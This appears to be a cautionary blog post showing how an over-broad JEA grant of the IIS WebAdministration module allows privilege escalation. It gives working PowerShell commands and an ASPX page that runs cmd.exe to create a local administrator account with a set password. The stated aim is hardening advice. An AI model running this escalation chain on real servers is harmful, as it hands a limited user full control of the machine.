In the original version of my blog post: Manage IIS as a non admin user I suggested:
VisibleCmdlets = 'WebAdministration*'...
this means that we allow the JEA user to use all cmdlets in the WebAdministration PowerShell module, after all we want him/her to administrate the whole of IIS.
But we need to be very careful with being so careless with permissions, consider the following:
After the user (named: joe) connects to the JEA-point like:
Enter-PSSession -ComputerName localhost -Credential Get-Credentials -ConfigurationName "JeaIISConfigName"
he can execute the following commands:
New-WebAppPool -Name JeaHackPool
New-WebSite -Name JeaHackSite -Port 85 -PhysicalPath "C:\Users\joe\wwwroot" -ApplicationPool JeaHackPool
Set-WebConfigurationProperty -pspath 'MACHINE/WEBROOT/APPHOST' -filter "system.applicationHost/applicationPools/add[@name='JeaHackPool']/processModel" -name "identityType" -value "LocalSystem"
Set-WebConfigurationProperty -pspath 'MACHINE/WEBROOT/APPHOST' -location 'JeaHackSite' -filter "system.webServer/security/authentication/anonymousAuthentication" -name "userName" -value ""
He created a new IIS application-pool and website and made sure the site runs under the local system account.
exit
back in the normal (non-JEA) PowerShell session, he can now:
New-Item -Type Directory -Path "C:\Users\joe\wwwroot"
New-Item -Type File -Path "C:\Users\peter\wwwroot\default.aspx"
and use the following as the content of the home page default.aspx
<%@ Page Language="C#" %> <script runat="server"> protected string output = ""; private void Run(string command) { var p1 = new System.Diagnostics.Process(); p1.StartInfo.UseShellExecute = false; p1.StartInfo.RedirectStandardOutput = true; p1.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe"; p1.StartInfo.Arguments = "/c " + command; p1.Start(); output += p1.StandardOutput.ReadToEnd(); } protected void Page_Load(object sender, EventArgs e) { Run("net user myadmin myPassOrd19 /ADD /EXPIRES:Never"); Run("net localgroup administrators myadmin /ADD"); Run("net user myadmin"); } </script> <%= output %>
Now he can open that new aspx page:
(Invoke-WebRequest -Uri "http://localhost:85").Content
the output should be something like this:
The command completed successfully. The command completed successfully. User name myadmin ... Local Group Memberships *Administrators *Users The command completed successfully.
now he can use the new user to start an elevated PowerShell admin session:
Start-Process -FilePath powershell.exe -Verb runas
and of course now he can do anything with your machine.
So the take away is: Never give any users full access to the WebAdministration module, just be very specific with your JEA capabilities, just allow specific tasks and don't allow anything that could potentially take over your computer.
This is not only true for IIS, but may also apply to other parts of the OS management.